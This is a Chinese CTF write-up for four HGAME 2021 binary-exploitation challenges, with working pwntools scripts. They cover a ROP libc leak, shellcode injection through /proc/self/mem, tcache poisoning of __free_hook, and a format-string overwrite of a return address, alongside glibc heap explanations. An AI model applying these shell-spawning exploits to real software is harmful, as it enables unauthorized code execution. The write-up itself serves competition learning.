HGAME2021-WEEK2-PWN-WP
rop_primary
没什么难度,就是单纯的 ROP
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
import re
elf = ELF("./rop_primary")
pop_rdi_ret = 0x401613
pop_rsi_r15_ret = 0x401611
pop_r14_r15_ret = 0x401610
def matrixMul(A, B):
if len(A[0]) == len(B):
res = [[0] * len(B[0]) for i in range(len(A))]
for i in range(len(A)):
for j in range(len(B[0])):
for k in range(len(B)):
res[i][j] += int(A[i][k]) * int(B[k][j])
return res
sh = remote("159.75.104.107",30372)
sh.recvuntil("A:\n")
matA = []
matB = []
while 1:
number_string = sh.recvuntil("\n",drop = True)
if(number_string == 'B:'):
break
matA.append(re.findall(r"\d+\.?\d*",number_string))
while 1:
number_string = sh.recvuntil("\n",drop = True)
if(number_string == 'a * b = ?'):
break
matB.append(re.findall(r"\d+\.?\d*",number_string))
matAns = matrixMul(matA,matB)
print matAns
for i in matAns:
for j in i:
sh.sendline(str(j))
sh.recvuntil("best\n")
payload = 'a' * 0x30 + 'b' * 8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.symbols["puts"]) + p64(0x40157B)
sh.sendline(payload)
leak_addr = u64(sh.recv(6).ljust(8,'\x00'))
log.success("addr:" + hex(leak_addr))
libc = LibcSearcher('puts',leak_addr)
libc_base = leak_addr - libc.dump("puts")
log.success("libc_base:" + hex(libc_base))
system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * 0x30 + 'b' * 8 + p64(pop_r14_r15_ret) + p64(0) * 2
payload += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
sh.sendlineafter('best\n',payload)
sh.interactive()
写完exp打远程的时候发现搜不出来 libc,考虑是 libc-database 版本过低,然后尝试更新,但是 libc-database 本身是装 LibcSearcher 的时候一起装的,可能安装的时候有点问题,get 脚本用不来,所以只好整个 libc-database 删掉重装,重新 get,家里的带宽确实比较小,整个更新大概花了半个多小时,再加上更新的时候干别的事情去了差点把这题忘了,所以很晚才打通,但是运气还算不错,抢到了一血,只比二血早了30秒
the_shop_of_cosmos
这道题是真的开阔视野了,出的是真当炫酷。程序的逻辑很简单,有无限次读文件和无限次写文件的机会。其实看到题目我第一个就想到了对 /proc
目录动手,但是当时觉得不知道服务器跑的进程的 uid
也没有用。虽然终端里面有 $UID
可以代替,但是 open
里没法用,遂放弃,想想真的很遗憾,放出 hint
之后我仔细看了一下这个目录的相关知识,了解到有self
这个目录,每个进程访问都可以访问到自己的对应 uid
的目录,同时也避免了 frok
之类操作对 uid
的改变这样的问题。而每个进程对应 uid
目录中都有一些该进程信息的虚拟文件,我们主要关系 maps
和 mem
,前者存储了进程的内存映射情况,可以获得各种基地址;后者则是进程占有的整个内存空间的映射,这个文件是可读写的,.text
也同样可写。所以思路就有了,先通过一次读获取进程的基地址,然后通过一次写把一段会执行的 .text
中的代码直接写成 shellcode 就可以 getshell 了。
利用整型溢出可以获得无限的钱,这个应该不用多说了
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux')
elf = ELF("./shop")
libc = ELF("./libc.so.6")
sh = process("./shop")
sh = remote("159.75.104.107",30398)
sh.sendlineafter(">> ","1")
sh.sendlineafter(">> ","4294867296")
sh.sendlineafter(">> ",'2')
sh.sendlineafter(">> ",'1')
sh.sendlineafter(">> ",'/proc/self/maps')
sh.recvuntil(":")
prog_base = int(sh.recvuntil("-",drop = True),base = 16)
log.success("prog_base:",prog_base)
sh.sendlineafter(">> ",'3')
sh.sendlineafter(">> ",'1')
sh.sendlineafter(">> ",'/proc/self/mem')
sh.sendlineafter(">> ",str(prog_base + 0x17EC))
shellcode = asm(shellcraft.sh())
sh.sendlineafter(">> ",str(len(shellcode)))
sh.sendlineafter(">> ",shellcode)
sh.interactive()
patriot’s note
这算是一个 Tcache poisoning
的裸题了吧,以前做题的时候一直没去研究 Tcache
相关的机制,这一次看了一下发现确实使利用变的简单了许多。Tcache
的优先级很高,高于 Fastbin
和 top chunk
的前向合并。 Tcache
和 Fastbin
其实挺像的,当然 Tcache
本身是一个单独维护的隔离链表,而 Fastbin
只是一个 LIFO 的单链表(换句话说就是用链表模拟的栈),这里来看的话区别还是很大的,但是在利用上有相似之处。就本题来看,存在 UAF
,可以对 Tcache
结构体的 next
指针任意写,这样就可以实现任意地址分配,从而实现任意地址写。和 Fastbin
的 Arbitrary Alloc
没什么区别,唯一的就是 Tcache
不会对被分配地址 chunk
的 size
标记做检测,所以我们甚至不需要伪造 size
就可以直接 Arbitrary Alloc
了。当然实现利用还需要一个 leak,可以申请并释放一个属于 Unsorted Bin
的 chunk
(就本题而言,还需要避免这个 chunk
被 top chunk
合并掉),这样在 bin
中的chunk
的fd
指针就会指向main_arena
的一个固定偏移处,然后通过puts
功能就可以 leak 出 libc 的基地址了。
关于 main_arena
fd
指向 main_arena
的固定偏移处的原因
随随便便地说 fd
必定会指向 main_arena
的一个固定偏移显得很苍白,原因还是解释一下,main_arena
是 ptmalloc
管理主分配区的唯一实例,其类型为 struct malloc_state
,就 2.27 版本的 libc 来说是这样定义的
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
这里面的 bins
数组就保存了 Unsorted Bin
的头节点,由于 Unsorted Bin
用(循环)双向链表维护,那么链表中尾节点的 fd
就会指向头节点,也就是结构体的固定偏移处了(事实上 bins[0]
和 bins[1]
就是Unsorted Bin
的头节点),本题我们只往Unsorted Bin
中放一个bin
,所以第这个 bin
就是尾节点了。事实上还是有必要多啰嗦几句,fd
指向下一个节点,bk
指向前一个节点,如果Unsorted Bin
链表中不止一个bin
的话第一个bin
的fd
是不会像本题一样指向main_arena
的,但是bk
仍然可以 leak,在 64 位机下由于地址高2字节为\x00
的原因往往难以 leak 出bk
,但是 32 位机下往往是可以的。也就是说一些情况下不一定需要 leak 链表尾,头也是可以的。
附一张调试图

这样应该就很清楚了
如何获得 main_arena
的偏移
固定偏移具体是多少可以很容易地通过调试得出,也可以自己算,而 main_arena
相对于基地址的偏移稍微麻烦一点。把题目提供的 libc 放到 IDA 里面,找到 malloc_trim()
函数

dword_3EBC40
就是 main_arena
了。当然这样说他是就是显得很不负责任,凭啥说他是呢?还是要看一下 malloc.c
中的源码
int
__malloc_trim (size_t s)
{
int result = 0;
if (__malloc_initialized < 0)
ptmalloc_init ();
mstate ar_ptr = &main_arena;//<=here!
do
{
__libc_lock_lock (ar_ptr->mutex);
result |= mtrim (ar_ptr, s);
__libc_lock_unlock (ar_ptr->mutex);
ar_ptr = ar_ptr->next;
}
while (ar_ptr != &main_arena);
return result;
}
两个对照一下就明白了。按说 main_arena
在很多函数里面肯定都出现了,为什么独独找这个函数呢?我也不知道。大家都用这个找就这个吧。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh = process("./note")
sh = remote("159.75.104.107",30369)
libc = ELF("./libc-2.27.so")
def take(size):
sh.sendlineafter("exit\n",'1')
sh.sendlineafter("write?\n",str(size))
def delete(index):
sh.sendlineafter("exit\n",'2')
sh.sendlineafter("delete?\n",str(index))
def edit(payload,index):
sh.sendlineafter("exit\n",'3')
sh.sendlineafter("edit?\n",str(index))
sh.send(payload)
def show(index):
sh.sendlineafter("exit\n",'4')
sh.sendlineafter("show?\n",str(index))
take(2048)#index:0
take(0x100)#index:1
delete(0)
show(0)
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3ebc40 - 96
log.success("libc_base:" + hex(libc_base))
delete(1)
#malloc_hook = libc_base + libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
#log.success("malloc_hook:" + hex(malloc_hook))
#edit(p64(malloc_hook - 0x10),1)
edit(p64(free_hook),1)
take(0x100)#index:2
take(0x100)#index:3
one_gadget = libc_base + 0x4f432
realloc = libc_base + libc.symbols["__libc_realloc"]
#payload = p64(one_gadget) + p64(realloc + 0xa)
payload = p64(one_gadget)
edit(payload,3)
#take(0x200)
delete(0)
sh.interactive()
写 malloc_hook
的时候发现 one_gadget
都不能用,就改成 free_hook
了。
killerqueen
逻辑挺简单的,有两次格式化字符串攻击的机会,我选择第一次 leak,第二次改返回地址为 one_gadget
getshell。其实刚开始的时候我是考虑通过格式占位符 %200000c
让 printf
输出大量字符,这样他就会调用 malloc()
,那么就只有修改 __malloc_hook
或 __free_hook
为 one_gadget
就可以 getshell
了。但是由于 one_gadget
的限制不可行,就只好改返回地址了。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
#context(log_level = 'debug',os = 'linux',arch = 'amd64')
context.terminal = ['tmux','splitw','-h']
for i in range(0x70,0x79):#0x10a41c -> i==0x70;0x4f432 -> i==0x48
try:
#sh = process('./kq')
sh = remote("159.75.104.107",30339)
sh.sendlineafter("电话\n",'0')
rand = int(sh.recvuntil(":",drop = True),base = 10)
sh.sendlineafter("什么\n",'a')
sh.send('\n')
sh.sendlineafter("\n",str(-rand - 2))
payload = '%19$p-%17$p-%24$p-%44$p'
sh.sendlineafter("是——\n",payload)
sh.recvuntil('...\n')
_IO_2_1_stdout_addr = int(sh.recvuntil("-",drop = True),base = 16)
_IO_file_write_addr = int(sh.recvuntil("-",drop = True),base = 16) - 45
prog_base = int(sh.recvuntil("-",drop = True),base = 16) - 0x10b8
stack_addr = int(sh.recvuntil("\n",drop = True),base = 16)
ret_addr = stack_addr - 0x28 - 0xE0
log.success('_IO_2_1_stdout_:' + hex(_IO_2_1_stdout_addr))
log.success('ret_addr:' + hex(ret_addr))
libc = LibcSearcher("_IO_2_1_stdout_",_IO_2_1_stdout_addr)
libc.add_condition("_IO_file_write",_IO_file_write_addr)
libc_base = _IO_2_1_stdout_addr - libc.dump("_IO_2_1_stdout_")
log.success('libc_base:' + hex(libc_base))
log.success('_IO_file_write_addr:' + hex(_IO_file_write_addr))
log.success('_IO_file_write_addr_calc:' + hex(libc_base + libc.dump('_IO_file_write')))
malloc_hook = libc_base + libc.dump("__malloc_hook")
one_gadget = libc_base + 0x10a41c
#one_gadget = prog_base + 0x910
log.success('one:' + hex(one_gadget))
#payload = fmtstr_payload(6,{malloc_hook:one_gadget},numbwritten = 0,write_size = 'short')
target_info = [[one_gadget & 0xFFFF,0],[(one_gadget >> 16) & 0xFFFF,2],[(one_gadget >> 32) & 0xFFFF,4]]
target_info = sorted(target_info,key = (lambda x:x[0]))
print target_info
payload = '%15$lln'
payload += '%' + str(target_info[0][0]) + 'c' + '%12$hn'
payload += '%' + str(target_info[1][0] - target_info[0][0]) + 'c' + '%13$hn'
payload += '%' + str(target_info[2][0] - target_info[1][0]) + 'c' + '%14$hn'
payload = payload.ljust(48,'a')
payload += p64(ret_addr + target_info[0][1])
payload += p64(ret_addr + target_info[1][1])
payload += p64(ret_addr + target_info[2][1])
payload += p64(ret_addr + i)
payload = payload.ljust(0x100,'\x00')
print payload
#payload += '%150000cok'
sh.sendafter("什么\n",payload)
sh.recvuntil("a")
log.success('one:' + hex(one_gadget))
#gdb.attach(proc.pidof(sh)[0])
sh.sendline("")
sh.sendline("echo 'pwned'")
sh.recvuntil("pwned")
sh.interactive()
break
except:
sh.close()
麻烦还是有点麻烦的,调了不少时间。